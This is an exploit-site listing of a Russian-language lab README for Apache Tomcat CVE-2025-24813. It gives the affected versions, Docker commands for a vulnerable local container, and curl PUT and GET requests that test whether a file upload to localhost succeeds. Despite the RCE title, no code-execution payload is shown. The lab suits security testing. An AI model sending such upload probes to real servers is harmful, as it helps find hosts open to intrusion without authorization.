Sploitus

Exploit for CVE-2025-24813

kitploit · 2026-08-25

Exploit Code

MARKDOWN61 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALPERENY-CS-CVE-2025-24813
# Apache Tomcat RCE без аутентификации - CVE-2025-24813

Этот репозиторий предоставляет руководство и среду тестирования для оценки уязвимости **CVE-2025-24813**.

## Детали

**Затронутые версии:**

  * Apache Tomcat 11.0.0-M1 to 11.0.2
  * Apache Tomcat 10.1.0-M1 to 10.1.34
  * Apache Tomcat 9.0.0.M1 to 9.0.98



## Ссылки

  * Уведомление CVE-2025-24813
  * Объявление Apache



## Шаги для тестирования уязвимости

  1. Выполните следующую команду для сборки и запуска уязвимого контейнера Apache Tomcat



root@kitploit:~
    
    
    docker build -t v-tomcat .
    docker run -d -p 1234:8080 --name tomcat-lab v-tomcat
    
    If the ROOT folder is not created;
    docker exec -it tomcat-lab mkdir -p /usr/local/tomcat/webapps/ROOT
    

  2. Загрузите файл с помощью curl



root@kitploit:~
    
    
    curl -X PUT -H "Content-Type: application/octet-stream" --data-binary "vuln3r4bl3" http://localhost:1234/vln
    

  3. Проверьте загрузку: Если ответ содержит "vuln3r4bl3", это означает, что загрузка прошла успешно.



root@kitploit:~
    
    
    curl -X GET http://localhost:1234/vln
    

⚠️ Отказ от ответственности

Эта лабораторная работа предназначена только для образовательных целей и исследований в области безопасности. Не разворачивайте эту конфигурацию на производственных системах.